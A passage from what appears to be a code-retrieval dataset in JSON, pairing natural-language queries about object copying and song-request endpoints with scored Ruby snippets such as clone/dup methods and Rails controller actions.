"score": "0.5903941",
"text": "def stop\n ext_stop\n end",
"title": ""
},
{
"docid": "ba3f83586da300ca0bd9269dd534f6f9",
"score": "0.5899865",
"text": "def unbind\n log(\"Terminating connection to #{peer}\")\n @keep_alive_timer && @keep_alive_timer.cancel\n end",
"title": ""
},
{
"docid": "b185903a2f723bc01676aeda97298e5b",
"score": "0.5898317",
"text": "def stop!\n @status = :stopped\n end",
"title": ""
}
] |
8bc1f3c3b5a5502afeb85cf3c7f57494
|
return a copy of this object with a different Metadata instance attached
|
[
{
"docid": "3f9057df96759267512edbad46bb9502",
"score": "0.0",
"text": "def with_metadata(metadata)\n self.class.new(world, radius: radius, center: center, metadata: metadata)\n end",
"title": ""
}
] |
[
{
"docid": "d01d7b6118855344b1c128c07a82e40b",
"score": "0.7247409",
"text": "def initialize_copy(other)\n super(other)\n @metadata = other.metadata\n end",
"title": ""
},
{
"docid": "6794b9c6b299ab332e1049f9fbc00f25",
"score": "0.7196431",
"text": "def initialize_copy(other)\n self.meta = meta.dup\n end",
"title": ""
},
{
"docid": "abe8f9d6593806a6be3f1730659cefd6",
"score": "0.67866683",
"text": "def metadata\n Metadata.new(self)\n end",
"title": ""
},
{
"docid": "c106ad776c83f924a9e9d69d25ca4d71",
"score": "0.6749557",
"text": "def clone\n self.class.new(@attributes.except(:_id).except(:versions).dup)\n end",
"title": ""
},
{
"docid": "9eecdb3a316bea40fce461fb81b7d31d",
"score": "0.67265433",
"text": "def copy\n\t\t\treturn self.dup\n\t\tend",
"title": ""
},
{
"docid": "51e82531dc7d5d7e6f751cd655baf892",
"score": "0.6684929",
"text": "def with_metadata(replacement_metadata)\n return self if @serialized_metadata.deserialized == replacement_metadata\n\n self.class.build do |builder|\n build_duplicate builder, replacement_metadata\n end\n end",
"title": ""
},
{
"docid": "65e506002aa08703d5d526d50849fb7e",
"score": "0.6668225",
"text": "def metadata\n @metadata.clone.freeze\n end",
"title": ""
},
{
"docid": "d21fd07a6f404434857476e51896de6f",
"score": "0.66620934",
"text": "def clone\n self\n end",
"title": ""
},
{
"docid": "3297f160c4a458a10430910888a52bbf",
"score": "0.66392237",
"text": "def dup\n returning self.class.new do |resource|\n resource.attributes = @attributes\n end\n end",
"title": ""
},
{
"docid": "d45e5205e7012345156b341dd4d9550c",
"score": "0.65517354",
"text": "def clone\n q = super\n q.attrs = self.attrs.clone\n return q\n end",
"title": ""
},
{
"docid": "b8669ba3e89dab6dc51bd44afc882020",
"score": "0.6541431",
"text": "def clone\n super\n end",
"title": ""
},
{
"docid": "6dcdfebc6f66d980464ec948980efd9d",
"score": "0.65396005",
"text": "def dup\n clone = super\n clone.name = \"Clone of #{self.name}\"\n clone.institution_default = false\n # The instance requires an ID for MetadataProfileElement validations.\n clone.save!\n self.elements.each { |e| clone.elements << e.dup }\n clone\n end",
"title": ""
},
{
"docid": "0b53d87559605b458db772d11e0e2139",
"score": "0.6490789",
"text": "def dup\n other = super\n %w{tables table_alias unique_alias where tables key_value_tables}.each do |k|\n other.send(\"#{k}=\", other.send(k).dup)\n end\n other\n end",
"title": ""
},
{
"docid": "fa5f211595b70fcb875da1d0f2c825b8",
"score": "0.6473232",
"text": "def clone\n self.copy\n end",
"title": ""
},
{
"docid": "fa5f211595b70fcb875da1d0f2c825b8",
"score": "0.6473232",
"text": "def clone\n self.copy\n end",
"title": ""
},
{
"docid": "85ecaa6c1a8a2302faf226218f077dc7",
"score": "0.6457152",
"text": "def dup\n Ably::Models::IdiomaticRubyWrapper.new(attributes.dup, stop_at: stop_at.keys)\n end",
"title": ""
},
{
"docid": "b6fbbd394375316e76b86ed350593b9a",
"score": "0.64409536",
"text": "def dup\n new_object = super\n new_object.send :initialize_attributes, @attributes\n new_object\n end",
"title": ""
},
{
"docid": "9287e4d8e83ff48c8ce1bf7ba6ef64ff",
"score": "0.6407814",
"text": "def clone\n return Marshal.load(Marshal.dump(self))\n end",
"title": ""
},
{
"docid": "dff8fbdb0fc858a53a97c76c6c624001",
"score": "0.63356465",
"text": "def clone\n Marshal.load(Marshal.dump(self))\n end",
"title": ""
},
{
"docid": "dff8fbdb0fc858a53a97c76c6c624001",
"score": "0.63356465",
"text": "def clone\n Marshal.load(Marshal.dump(self))\n end",
"title": ""
},
{
"docid": "dff8fbdb0fc858a53a97c76c6c624001",
"score": "0.63356465",
"text": "def clone\n Marshal.load(Marshal.dump(self))\n end",
"title": ""
},
{
"docid": "dff8fbdb0fc858a53a97c76c6c624001",
"score": "0.63356465",
"text": "def clone\n Marshal.load(Marshal.dump(self))\n end",
"title": ""
},
{
"docid": "dff8fbdb0fc858a53a97c76c6c624001",
"score": "0.63356465",
"text": "def clone\n Marshal.load(Marshal.dump(self))\n end",
"title": ""
},
{
"docid": "c736828af29c3af6fbe6da0cdccc880e",
"score": "0.6331532",
"text": "def dup\n self.class.new(self, @loaded)\n end",
"title": ""
},
{
"docid": "194ef6953c27e7732669c59d3d0bfe93",
"score": "0.6324897",
"text": "def _associated_dataset\n associated_class.dataset.clone\n end",
"title": ""
},
{
"docid": "b4affff72de9722b859c9c493f1096a4",
"score": "0.63116735",
"text": "def metadata\n @metadata ||= Metadata.new(self)\n end",
"title": ""
},
{
"docid": "8526564778c630f7d81f76b9d2768cb1",
"score": "0.62892616",
"text": "def _clone\n self.class.new(self)\n end",
"title": ""
},
{
"docid": "81f3cae021eeb32cbce4436986e760a2",
"score": "0.6287832",
"text": "def dup\n # noinspection RubyMismatchedReturnType\n self.class.new(object.presence)\n end",
"title": ""
},
{
"docid": "1331cb8c5402665d580ef793aa9c34de",
"score": "0.628655",
"text": "def dup\n self\n end",
"title": ""
},
{
"docid": "1331cb8c5402665d580ef793aa9c34de",
"score": "0.628655",
"text": "def dup\n self\n end",
"title": ""
},
{
"docid": "1331cb8c5402665d580ef793aa9c34de",
"score": "0.628655",
"text": "def dup\n self\n end",
"title": ""
},
{
"docid": "11b91172b8395f3f78bf34713719207a",
"score": "0.62565863",
"text": "def clone\n @clone ||= super\n end",
"title": ""
},
{
"docid": "c9ea05b7bbea48793f9d8a379449bdd1",
"score": "0.62384045",
"text": "def dup; return self.class.new(RAtlas::dup(@storage)); end",
"title": ""
},
{
"docid": "2e926e8591299517a505be54cd1ece13",
"score": "0.62036854",
"text": "def clone\n dup\n end",
"title": ""
},
{
"docid": "a550b5b2019df67027c80b5e34efa508",
"score": "0.6180127",
"text": "def copy\n obj = self.dup\n obj.attributes = {\n :name => \"Copy of #{name}\",\n :active => false,\n :created_at => nil,\n :updated_at => nil\n }\n obj\n end",
"title": ""
},
{
"docid": "935f8a8da54c1ae0cb9ec6eb31575676",
"score": "0.6171042",
"text": "def dup\n self.class.new.tap { |obj| reverse_dup_copy obj }\n end",
"title": ""
},
{
"docid": "3ab2eaa34e89bf018bcd509f8fb7c922",
"score": "0.61708087",
"text": "def dup\n h = super\n h.fields = @fields.dup\n h.mbox_from = @mbox_from\n h\n end",
"title": ""
},
{
"docid": "2833ef18fd233bba4b012c3efb13bd22",
"score": "0.615927",
"text": "def clone\n super\n end",
"title": ""
},
{
"docid": "0ecaffc35bcf4462b9de8a4daf629872",
"score": "0.61332077",
"text": "def dup\n ret = self.class.new\n fields.each do |tag, field|\n val = self.__send__(field.name)\n ret.__send__(\"#{field.name}=\", val)\n end\n return ret\n end",
"title": ""
},
{
"docid": "4fccb0c41eace048b0fe57608cad942a",
"score": "0.6124631",
"text": "def clone\n other = dup\n other.freeze if self.frozen?\n other\n end",
"title": ""
},
{
"docid": "9f81f1348eddc2951f139cfc6a5598e0",
"score": "0.6120165",
"text": "def clone\n self\n end",
"title": ""
},
{
"docid": "944a33ef1245e81d73b82b853e45eedc",
"score": "0.6067755",
"text": "def dup_for_reference\n dup.tap do |r|\n r.created_at = self.created_at\n r.instance_variable_set(\"@association_cache\", self.association_cache)\n end\n end",
"title": ""
},
{
"docid": "194e738b734054d08ee6c1799cba633c",
"score": "0.60656416",
"text": "def dup( )\n\t\t\tMarshal.load(Marshal.dump(self))\n\t\tend",
"title": ""
},
{
"docid": "0926f2f8ff2e631d24c6c0792c37ba76",
"score": "0.6049654",
"text": "def copy\n Marshal.load(Marshal.dump(self))\n end",
"title": ""
},
{
"docid": "7c58be9bcfb07124865d0a218485a41e",
"score": "0.6034341",
"text": "def dup\r\n other = super\r\n [:@opts, :@description].each do |var|\r\n d = instance_variable_get(var).dup\r\n other.instance_variable_set(var, d)\r\n end\r\n other\r\n end",
"title": ""
},
{
"docid": "0b51a90d424b7b040476c6692cf7a1e4",
"score": "0.602483",
"text": "def dup\n Marshal::load(Marshal.dump(self))\n end",
"title": ""
},
{
"docid": "d25fd57354384c078afbf289ce16a44a",
"score": "0.60190344",
"text": "def clone\n return self.class.new(RAtlas::clone(@storage))\n end",
"title": ""
},
{
"docid": "f61107a4c963e57d60c231c78972be56",
"score": "0.6015417",
"text": "def clone()\n clone = self.class.new\n attributes.each do |k, v|\n next if k == :id || k == :uuid\n clone.attribute_set(k, DataMapper::Ext.try_dup(v))\n end\n oproperties.each do |p|\n clone.oproperty_set(p.name, DataMapper::Ext.try_dup(p.value))\n end\n\n clone.uuid = UUIDTools::UUID.random_create\n return clone\n end",
"title": ""
},
{
"docid": "31f369169cce8b8d8c0f3497fdbd64ef",
"score": "0.5997298",
"text": "def dup\n duplicate = ManyValues.new(@details, @attribute)\n duplicate.values = self.values.map { |v| v.dup }\n duplicate\n end",
"title": ""
},
{
"docid": "fcd0e432816059b74a4ca3d2d1fac3f1",
"score": "0.59926575",
"text": "def clone\n Marshal.load(Marshal.dump self)\n end",
"title": ""
},
{
"docid": "f2d13d6d1892a7b84cecc0db20dd2625",
"score": "0.5991523",
"text": "def clone\n self.class.new(raw.clone)\n end",
"title": ""
},
{
"docid": "fe2a7e62b136ebe75a1efcc446c6e67e",
"score": "0.59864163",
"text": "def dup\n self.class.new.tap{|obj| obj.initialize_copi self }\n end",
"title": ""
},
{
"docid": "ecf9b4f4739c7cfec7d909fe7bb47c7f",
"score": "0.597734",
"text": "def __deep_copy__\n self.class.new(aliases, serializers, associations, aliased_associations) do |copy|\n each_pair do |key, value|\n copy.merge!(key => value.__deep_copy__)\n end\n end\n end",
"title": ""
},
{
"docid": "bd6a3a5d7f6631e1cc4e7fcbf87bfb5b",
"score": "0.59710354",
"text": "def dup\n DocumentMapper::Base.new(self)\n end",
"title": ""
},
{
"docid": "abad708c0faf02c7c7e41c2086f27d1a",
"score": "0.5965111",
"text": "def dup\n HashWithIndifferentAccess.new(self)\n end",
"title": ""
},
{
"docid": "e74a71bdabec9913741ba9e909e4d30c",
"score": "0.59494",
"text": "def dup\n self.class.new(@value, **(@object || {}))\n end",
"title": ""
},
{
"docid": "0fd1053ba3a6ed6731f6ad9f1ab45cc0",
"score": "0.5928973",
"text": "def for_instance(instance)\n self.clone.tap{|q| q.instance = instance }\n end",
"title": ""
},
{
"docid": "876e0de79058a8ae43e4982a32275845",
"score": "0.5919294",
"text": "def dup\n self.class.new(options)\n end",
"title": ""
},
{
"docid": "43e6f0964abd46368b8110faf8217b8a",
"score": "0.5919066",
"text": "def clone\n @clone = true\n end",
"title": ""
},
{
"docid": "899974a0a91119a7ff4989b393d062d6",
"score": "0.5913174",
"text": "def clone\n\t\t\tCData.new self\n\t\tend",
"title": ""
},
{
"docid": "351d6d702ca7cf265cbaad591781283a",
"score": "0.59110636",
"text": "def clone\n copy(false)\n end",
"title": ""
},
{
"docid": "f95184e2ba85790bc29a0efbd4869655",
"score": "0.5907895",
"text": "def dup\n self.class.new(to_hash)\n end",
"title": ""
},
{
"docid": "68c6889f57d3b9d9ab5ddc2cfdcccfa3",
"score": "0.5898763",
"text": "def dup\n self.class.new(\n self.class.attributes.keys.each_with_object({}) do |k, result|\n val = send(k)\n next if val.nil? || (val.respond_to?(:empty?) && val.empty?)\n\n result[k] = val.is_a?(Array) ? val.map(&:dup) : val.dup\n end\n )\n end",
"title": ""
},
{
"docid": "9c6b78705f01c30f3726dcc4b5c547a0",
"score": "0.5897888",
"text": "def dup_for_reference\n dup.tap do |r|\n r.created_at = self.created_at\n # r.id = nil # done by dup\n # r.instance_variable_set(\"@association_cache\", self.instance_variable_get(:association_cache))\n end\n end",
"title": ""
},
{
"docid": "98d56b0ace391e1dce9b7b418439050a",
"score": "0.58900696",
"text": "def with_metadata &block\n yield @metadata if block_given?\n self\n end",
"title": ""
},
{
"docid": "b4e1a90596f71b96a48de0e84e32f52e",
"score": "0.58833677",
"text": "def dup\n obj = super\n obj.duplicated_from = self\n obj.resource = self.resource_file\n uhook_duplicated_object(obj)\n\n obj\n end",
"title": ""
},
{
"docid": "605ea8e63322b784e45cbe167bfab602",
"score": "0.58747095",
"text": "def dup\n\n Workitem.new(Rufus::Json.dup(@h))\n end",
"title": ""
},
{
"docid": "81f5c87c5f35ef19974702b81f63051e",
"score": "0.5872102",
"text": "def dup\n tmp = self.class.new\n tmp.instance_variable_set(\"@labels\", deep_copy_label_hash(@labels))\n tmp\n end",
"title": ""
},
{
"docid": "d78886d712554c8b6ae5159b7721eb13",
"score": "0.5868044",
"text": "def initialize_copy(other)\n super\n @associations = Hash[@associations] if @associations\n self\n end",
"title": ""
},
{
"docid": "29b9a91d0e39ae0c1912025e56927b04",
"score": "0.58608055",
"text": "def and_metadata(additional_metadata)\n return self if additional_metadata.empty?\n\n self.class.build do |builder|\n build_duplicate builder, metadata.merge(additional_metadata)\n end\n end",
"title": ""
},
{
"docid": "b292d8b00137dfeb9b1e8cb0a69277c0",
"score": "0.5857837",
"text": "def deep_clone\n Marshal::load(Marshal.dump(self))\n end",
"title": ""
},
{
"docid": "ccfb9bf92a9f009e732c28fe7922424c",
"score": "0.5849297",
"text": "def dup\n Context.new(values: values.dup, known_data: known_data.dup)\n end",
"title": ""
},
{
"docid": "f237071bbe4f099ccdb530a1f8cd70b0",
"score": "0.5837025",
"text": "def clone\n other = dup\n other.freeze if frozen?\n other\n end",
"title": ""
},
{
"docid": "8860a3f61f860db3f4211ffcad7cfad2",
"score": "0.58350146",
"text": "def dup\n copy(false)\n end",
"title": ""
},
{
"docid": "084139657cfe7c4d5dc62989885ae3af",
"score": "0.5821577",
"text": "def deep_clone\n Marshal.load(Marshal.dump(self))\n end",
"title": ""
},
{
"docid": "7fb29775e31a8ff827cf07c95b23a35e",
"score": "0.5821012",
"text": "def clone\n attr = Hash.new\n\n self.attribute_names.each do |name|\n begin\n attr[name] = read_attribute(name).clone\n rescue TypeError\n attr[name] = read_attribute(name)\n end\n end\n\n cloned_record = self.class.new(attr)\n cloned_record.instance_variable_set \"@new_record\", true\n cloned_record.id = nil\n cloned_record\n end",
"title": ""
},
{
"docid": "e3f591088de0e6b404c5cab654285ab2",
"score": "0.5810426",
"text": "def dup\n super.tap do |instance|\n instance.instance_variable_set(:@chain, instance.chain.dup)\n end\n end",
"title": ""
},
{
"docid": "d56dfb82f2e5950d37291106ed590f3a",
"score": "0.5806959",
"text": "def initialize_copy(other)\n @__members__ = other.to_h\n freeze\n end",
"title": ""
},
{
"docid": "21d544c5efa0e1e5f92434f988b3b75a",
"score": "0.58028686",
"text": "def dup\n return super unless post_id\n clone = super\n clone.post_id = nil\n clone\n end",
"title": ""
},
{
"docid": "19b8ab89c234d5a6ee896e6b1cab04ac",
"score": "0.5799217",
"text": "def clone\n self.class.new(setup.map(&:dup))\n end",
"title": ""
},
{
"docid": "57ce1b927177d1f12d73025c154f0eec",
"score": "0.57934177",
"text": "def copy(copy)\n\t\t\treturn Alimento.new(copy.nombre,copy.proteinas,copy.carbohidratos,copy.lipidos,copy.gei,copy.terreno)\n\t\tend",
"title": ""
},
{
"docid": "7d322ab311f2e479180e505cab3e63d9",
"score": "0.5787245",
"text": "def dup\n self.class.new(\n length: @length,\n genes: @genes.dup\n )\n end",
"title": ""
},
{
"docid": "47de5c97324a9196285e07bb49ce66b4",
"score": "0.5786955",
"text": "def initialize_copy(other)\n @series = other.series.dup\n @table = other.table.dup\n super(other)\n end",
"title": ""
},
{
"docid": "e29ee3f4650335b1dfd8de79c8afc171",
"score": "0.5782995",
"text": "def deep_dup\n Marshal.load(Marshal.dump(self))\n end",
"title": ""
},
{
"docid": "afdf4549bdfd2a374dc8e18310e22217",
"score": "0.5782143",
"text": "def clone\n ret = self.deep_copy\n ret.register if self.registered\n ret\n end",
"title": ""
},
{
"docid": "fd549e29a3fbbe41868fa8097277e117",
"score": "0.5775357",
"text": "def initialize_copy(other)\n super\n @deserialized_values = Hash[other.deserialized_values]\n self\n end",
"title": ""
},
{
"docid": "3a81a298cad8d9bb27b9e39fd366b39f",
"score": "0.5770582",
"text": "def dup\n result = self.class.new(dimension, geometric_resolution, order)\n result.send(:initialize_copy, self)\n result\n end",
"title": ""
},
{
"docid": "d4c200a98f49868e3e86e48c0ab46028",
"score": "0.5769424",
"text": "def deep_copy\n Marshal.load(Marshal.dump(self))\n end",
"title": ""
},
{
"docid": "d4c200a98f49868e3e86e48c0ab46028",
"score": "0.5769424",
"text": "def deep_copy\n Marshal.load(Marshal.dump(self))\n end",
"title": ""
},
{
"docid": "eef88d421f45f4317e6cddf4b31db49a",
"score": "0.5769238",
"text": "def dup\n self.class.new(self, self.default)\n end",
"title": ""
},
{
"docid": "d95ea64157cb1fa762d656f219430106",
"score": "0.5767895",
"text": "def clone\n memcached = super\n struct = Lib.memcached_clone(nil, @struct)\n memcached.instance_variable_set('@struct', struct)\n memcached\n end",
"title": ""
},
{
"docid": "0ffce03b081e8452ca929c138407cdef",
"score": "0.5763771",
"text": "def clone\n h = super\n h.fields = Marshal::load(Marshal::dump(@fields))\n h.mbox_from = Marshal::load(Marshal::dump(@mbox_from))\n h\n end",
"title": ""
},
{
"docid": "c4a3143142bf24b02f9f9298cfc28b60",
"score": "0.5759717",
"text": "def initialize_copy(other)\n super\n if o = other.instance_variable_get(:@original_deserialized_values)\n @original_deserialized_values = Hash[o]\n end\n self\n end",
"title": ""
},
{
"docid": "2750e2d65ed8ce4f9ef918972e6fba31",
"score": "0.575927",
"text": "def build_duplicate(builder, metadata)\n builder.id = @id\n builder.metadata = DeserializedObject.new metadata\n builder.payload = @serialized_payload\n builder.timestamp = @timestamp\n end",
"title": ""
},
{
"docid": "f164baa158131aa808d4eff9ef3b81cb",
"score": "0.57570964",
"text": "def initialize_clone(other)\n super\n freeze if other.frozen?\n self\n end",
"title": ""
},
{
"docid": "a1aa19ea5b31c5ca4b468ad5d15b42ec",
"score": "0.57537425",
"text": "def clone\n self.class.new(**as_json)\n end",
"title": ""
},
{
"docid": "48212b30f5c74f331543ea8a13b7f728",
"score": "0.57492363",
"text": "def clone\r\n attrs = self.attributes_before_type_cast\r\n self.class.primary_keys.each {|key| attrs.delete(key.to_s)}\r\n self.class.new do |record|\r\n record.send :instance_variable_set, '@attributes', attrs\r\n end\r\n end",
"title": ""
},
{
"docid": "a93e367500574ac9e620a493d9186900",
"score": "0.57455134",
"text": "def clone\n copy = super\n copy.members = @members.map {|m| m.clone }\n copy\n end",
"title": ""
},
{
"docid": "e87bae32393039f0d3619d1af22e9301",
"score": "0.57427394",
"text": "def initialize_copy(original)\n super\n @query = @query.dup\n @cache = @cache.dup\n @orphans = @orphans.dup\n end",
"title": ""
},
{
"docid": "d9a9699e890079a7c177ffd92502c446",
"score": "0.573967",
"text": "def clone\n cloned = super\n # need to go to some lengths here, as Parsing::Result objects,\n # which hide behind @sentences, have important inst vars of\n # their own now and are not simply HashContainables\n parse_result = @sentences.clone;\n cloned.replace_with_clone(:sentences, :report)\n parse_result.container.merge!(cloned.sentences)\n cloned.sentences = parse_result\n cloned\n end",
"title": ""
},
{
"docid": "f9b11d17a3ab5b508726e78d4af578f3",
"score": "0.5733493",
"text": "def clone\n o = dup\n o.freeze if frozen?\n o\n end",
"title": ""
}
] |
b1a697b3a0c9a7f7cadf4fa00d255452
|
POST /song_requests POST /song_requests.json
|
[
{
"docid": "d3c2abbe505f34e811ef646a93fb986d",
"score": "0.61558145",
"text": "def create\n @song_request = @invitation.song_requests.build(song_request_params)\n\n respond_to do |format|\n if @song_request.save\n format.html { redirect_to @invitation }\n else\n format.html { render 'invitations/show' }\n end\n end\n end",
"title": ""
}
] |
[
{
"docid": "20300a1f0ece036e36920191ec5daf77",
"score": "0.66855115",
"text": "def song_request_params\n params.require(:song_request).permit(:title, :artist)\n end",
"title": ""
},
{
"docid": "4090cd12e1d085e8b69ad7bbbf2c8bb2",
"score": "0.6334739",
"text": "def create_songs\n 5.times do |i|\n url = \"https://stg-resque.hakuapp.com/songs.json?album_id=#{i+1}\"\n uri = URI(url)\n response = Net::HTTP.get(uri)\n songs = JSON.parse(response)\n\n songs.each do |song|\n Song.create!(song.except('id'))\n end\n end\nend",
"title": ""
},
{
"docid": "4766b7a44438040662256ac132f3aad6",
"score": "0.6304171",
"text": "def create\n puts params[:song]\n @song = Song.new params[:song]\n create_song @song\n\n respond_to do |format|\n if @song.save\n format.html {\n render :json => [@song.to_jq_upload].to_json,\n :content_type => 'text/html',\n :layout => false\n }\n format.json { render json: [@song.to_jq_upload].to_json, status: :created, location: @song }\n else\n format.html { render action: \"new\" }\n format.json { render json: @song.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f7f578110a3ee316a61d31201a0ced82",
"score": "0.6301616",
"text": "def create\n\t\tparams = song_params\n\t\tsongkey = params['song_key']\n\t\tparams.delete('song_key')\n\n songtags = params['tags']\n params.delete('tags')\n\n\t\t@song = Song.new(params)\n\n\t\trespond_to do |format|\n\t\t\tif @song.save\n\n\t\t\t\tif songkey.to_s.length > 0\n\t\t\t\t\[email protected]_keys << SongKey.find(songkey)\n\t\t\t\tend\n\n if !songtags.nil?\n @tags = []\n for tagid in songtags\n @tags.push(Tag.find(tagid))\n end\n @song.tags = @tags\n end\n\n#\t\t\t\tformat.html { redirect_to songs_url, notice: \"#{@song.name} was successfully added!\" }\n\t\t\t\tformat.html { redirect_to action: \"show\", id: @song.id, notice: \"#{@song.name} was successfully added!\" }\n\t\t\t\tformat.json { render :show, status: :created, location: @song }\n\t\t\telse\n\t\t\t\tformat.html { render :new }\n\t\t\t\tformat.json { render json: @song.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"title": ""
},
{
"docid": "5e422ccac032303e27d5359eea88a372",
"score": "0.6226952",
"text": "def create\n @song = Song.new(autofill_vorbis_comments(song_params()))\n # artist = Artist.find_by(name: params[\"song\"][\"artist\"])\n # @song.artist = artist\n\n respond_to do |format|\n if @song.save\n format.html { redirect_to @song, notice: 'Song was successfully created.' }\n format.json { render :show, status: :created, location: @song }\n else\n format.html { render :new }\n format.json { render json: @song.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f973fcbbfa3c1f5340827626dc0ef781",
"score": "0.6115518",
"text": "def create\n song = Song.new(song_params)\n song.artist_id = @artist.id\n\n if song.save\n render status: 201, json: {\n message: 'Song successfully created',\n song: song\n }.to_json\n else\n render status: 422, json: {\n errors: song.errors\n }.to_json\n end\n end",
"title": ""
},
{
"docid": "f25c53c49d1b36b9f86b35e1a6783f49",
"score": "0.61062944",
"text": "def create\n @song = Song.new(song_params)\n\n if @song.save\n render :show, status: :created, location: @song\n else\n render json: @song.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "ccbb092c01f13d194daf8128f66ccd82",
"score": "0.6084341",
"text": "def create\n @song = Song.new(params[:song])\n\n respond_to do |format|\n if @song.save\n format.html { redirect_to @song, :notice => 'Song was successfully created.' }\n format.json { render :json => @song, :status => :created, :location => @song }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @song.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d6c62a438a1f0af4bc8b8ec444b528c2",
"score": "0.6045532",
"text": "def create\n @song_link ||= params[:song][:link]\n if @song_link\n song = Song.find_or_create_by(link: @song_link)\n render json: song\n end\n end",
"title": ""
},
{
"docid": "bbbd2d0cb92ee8e416e9ed30b92917f8",
"score": "0.60352105",
"text": "def song_params\n params.require(:song).permit(:song_id, :name, :code)\n end",
"title": ""
},
{
"docid": "5a0f9622d886f7360a32e1f733f5f4f0",
"score": "0.601662",
"text": "def song_params\n params.require(:song).permit(:song) \n end",
"title": ""
},
{
"docid": "f35125152e251447b0d39ef776ccc5bc",
"score": "0.60096467",
"text": "def create\n @song = Song.new(params[:song])\n\n respond_to do |format|\n if @song.save\n format.html { redirect_to @song, notice: 'Song was successfully created.' }\n format.json { render json: @song, status: :created, location: @song }\n else\n format.html { render action: \"new\" }\n format.json { render json: @song.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f35125152e251447b0d39ef776ccc5bc",
"score": "0.60096467",
"text": "def create\n @song = Song.new(params[:song])\n\n respond_to do |format|\n if @song.save\n format.html { redirect_to @song, notice: 'Song was successfully created.' }\n format.json { render json: @song, status: :created, location: @song }\n else\n format.html { render action: \"new\" }\n format.json { render json: @song.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5311b15de9678c723a1305f76e1c3409",
"score": "0.60071886",
"text": "def songs\n \t@songs = Album.find(params[:id])\n songs = RSpotify::Track.search(@songs.name)\n \t@songs = songs.map do |s_songs|\n \tSong.new_from_spotify_song(s_songs)\n end\n render json: {data:@songs}\n end",
"title": ""
},
{
"docid": "44ce53f93fff22098ae4fecba61d8367",
"score": "0.59990495",
"text": "def playlist\n #Posts new playlist to user's profile\n uri = URI.parse(\"#{@userData[\"href\"]}/playlists\")\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true #this helps with the https\n request = Net::HTTP::Post.new(uri)\n request[\"Authorization\"] = \"Bearer #{@data[\"access_token\"]}\"\n request[\"Content-Type\"] = \"application/json\"\n request.body = \"{\\\"name\\\":\\\"#{session[:genre].split.map(&:capitalize).join(' ')} Artists\\\", \\\"description\\\":\\\"This playlist was generated with the WhatGenre App. Check it out on: http://whatgenre.herokuapp.com\\\"}\"\n response = http.request(request)\n @playlistUrl = JSON.parse(response.read_body)[\"href\"]\n topsongs\nend",
"title": ""
},
{
"docid": "1d8148293bb9760e0f3748231c53fe94",
"score": "0.59962237",
"text": "def create\n @song = Song.new(song_params)\n\n respond_to do |format|\n if @song.save\n format.html { redirect_to @song, notice: 'Song was successfully created.' }\n format.json { render :show, status: :created, location: @song }\n else\n format.html { render :new }\n format.json { render json: @song.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1d8148293bb9760e0f3748231c53fe94",
"score": "0.59962237",
"text": "def create\n @song = Song.new(song_params)\n\n respond_to do |format|\n if @song.save\n format.html { redirect_to @song, notice: 'Song was successfully created.' }\n format.json { render :show, status: :created, location: @song }\n else\n format.html { render :new }\n format.json { render json: @song.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1d8148293bb9760e0f3748231c53fe94",
"score": "0.59962237",
"text": "def create\n @song = Song.new(song_params)\n\n respond_to do |format|\n if @song.save\n format.html { redirect_to @song, notice: 'Song was successfully created.' }\n format.json { render :show, status: :created, location: @song }\n else\n format.html { render :new }\n format.json { render json: @song.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "71ec327335e97af5e4c4b5899271157b",
"score": "0.5975771",
"text": "def song_params\n params.require(:song).permit(:song_name, :spotify_song_info, :spotify_uri)\n end",
"title": ""
},
{
"docid": "93385a42e070f5ba8e142d1f4ca81990",
"score": "0.59662807",
"text": "def song_params\n params.require(:song).permit(:name, :spotify_url, :preview_url, :duration, :explicit, :spotify_id)\n end",
"title": ""
},
{
"docid": "41cb09f4145a79704d56ab4910643df1",
"score": "0.59626025",
"text": "def create\n @song = Song.new(song_params)\n\n respond_to do |format|\n if @song.save\n flash[:success] = ' Song was successfully created.'\n format.html { redirect_to @song }\n format.json { render :show, status: :created, location: @song }\n else\n format.html { render :new }\n format.json { render json: @song.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2af85ee7d7c0782d661869f9bfa55aef",
"score": "0.5960336",
"text": "def post_params(*args)\n params.require(:song).permit(*args)\n end",
"title": ""
},
{
"docid": "669785838e0d219c7872b54404f1593d",
"score": "0.5955675",
"text": "def index\n @song_requests = SongRequest.all\n end",
"title": ""
},
{
"docid": "037a7f4bba30e93637dff1da7112a7d4",
"score": "0.5948385",
"text": "def create\n @song = Song.new(song_params)\n\n respond_to do |format|\n if @song.save\n format.html { redirect_to @song, notice: 'Song was successfully created.' }\n format.json { render action: 'show', status: :created, location: @song }\n else\n format.html { render action: 'new' }\n format.json { render json: @song.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "76fca32c75251cd041cd32d9e523a573",
"score": "0.593753",
"text": "def create\n @song = @artist.songs.new(song_params)\n\n respond_to do |format|\n if @song.save\n format.html { redirect_to @song, notice: 'Song was successfully created.' }\n format.json { render action: 'show', status: :created, location: @song }\n else\n format.html { render action: 'new' }\n format.json { render json: @song.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "196889ba46b6f0a27ce044df58063288",
"score": "0.59325165",
"text": "def create\n @song = Song.new(song_params)\n\n respond_to do |format|\n if @song.save\n format.html { redirect_to dashboard_songs_url, notice: \"歌曲新增成功。\" }\n format.json { render :show, status: :created, location: @song }\n else\n format.html { render :new }\n format.json { render json: @song.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a4e2acb06a9ac66ee62c3082a104dee4",
"score": "0.5927038",
"text": "def song_params\n params.require(:song).permit(:title, :mp3, :link_to_purchase, :link_to_download, :average_mood, :average_timbre,\n :average_intensity, :average_tone, :mood, :timbre, :intensity, :tone, :album_id)\n end",
